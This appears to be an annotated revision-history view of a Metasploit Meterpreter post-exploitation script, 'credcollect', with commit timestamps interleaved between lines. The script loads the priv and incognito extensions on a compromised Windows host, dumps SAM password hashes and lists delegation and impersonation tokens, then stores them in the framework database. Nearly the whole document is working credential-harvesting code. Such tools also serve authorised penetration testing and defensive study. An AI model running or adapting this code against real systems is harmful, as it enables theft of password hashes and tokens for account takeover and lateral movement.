2009-10-26 15:14:28 +00:00
|
|
|
# $Id$
|
2009-03-28 07:44:44 +00:00
|
|
|
# credcollect - tebo[at]attackresearch.com
|
|
|
|
|
2009-11-05 00:38:05 +00:00
|
|
|
opts = Rex::Parser::Arguments.new(
|
2009-10-25 19:52:40 +00:00
|
|
|
"-h" => [ false,"Help menu." ]
|
|
|
|
)
|
|
|
|
|
2009-11-05 00:38:05 +00:00
|
|
|
opts.parse(args) { |opt, idx, val|
|
2009-10-25 19:52:40 +00:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line("CredCollect -- harvest credentials found on the host and store them in the database")
|
|
|
|
print_line("USAGE: run credcollect")
|
2009-11-05 00:38:05 +00:00
|
|
|
print_line(opts.usage)
|
2009-10-25 20:57:23 +00:00
|
|
|
raise Rex::Script::Completed
|
2009-10-25 19:52:40 +00:00
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
# No sense trying to grab creds if we don't have any place to put them
|
|
|
|
if !client.framework.db.active
|
2009-12-28 14:38:25 +00:00
|
|
|
raise RuntimeError, "Database not connected. Run db_connect first."
|
2009-10-25 19:52:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
# Make sure we're rockin Priv and Incognito
|
2010-04-07 16:03:22 +00:00
|
|
|
client.core.use("priv") if not client.respond_to?("priv")
|
|
|
|
client.core.use("incognito") if not client.respond_to?("incognito")
|
2009-03-28 07:44:44 +00:00
|
|
|
|
|
|
|
# It wasn't me mom! Stinko did it!
|
|
|
|
hashes = client.priv.sam_hashes
|
|
|
|
|
|
|
|
# Target infos for the db record
|
|
|
|
addr = client.sock.peerhost
|
2010-04-20 03:10:48 +00:00
|
|
|
client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
|
2010-01-22 23:53:12 +00:00
|
|
|
|
|
|
|
# Record hashes to the running db instance
|
|
|
|
hashes.each do |hash|
|
|
|
|
data = {}
|
2010-04-20 03:10:48 +00:00
|
|
|
data[:host] = addr
|
2010-01-22 23:53:12 +00:00
|
|
|
data[:proto] = 'smb'
|
|
|
|
data[:user] = hash.user_name
|
|
|
|
data[:hash] = hash.lanman + ":" + hash.ntlm
|
2010-04-20 03:10:48 +00:00
|
|
|
data[:target_host] = addr
|
2010-01-22 23:53:12 +00:00
|
|
|
data[:hash_string] = hash.hash_string
|
|
|
|
|
|
|
|
client.framework.db.report_auth_info(data)
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Record user tokens
|
2009-12-28 14:38:25 +00:00
|
|
|
tokens = client.incognito.incognito_list_tokens(0)
|
|
|
|
raise Rex::Script::Completed if not tokens
|
|
|
|
|
2009-03-28 07:44:44 +00:00
|
|
|
# Meh, tokens come to us as a formatted string
|
2010-01-22 23:53:12 +00:00
|
|
|
(tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token|
|
|
|
|
data = {}
|
2010-04-20 03:10:48 +00:00
|
|
|
data[:host] = addr
|
2010-01-22 23:53:12 +00:00
|
|
|
data[:proto] = 'smb'
|
|
|
|
data[:token] = token
|
2010-04-20 03:10:48 +00:00
|
|
|
data[:target_host] = addr
|
2010-01-22 23:53:12 +00:00
|
|
|
|
|
|
|
client.framework.db.report_auth_info(data)
|
2009-03-28 07:44:44 +00:00
|
|
|
end
|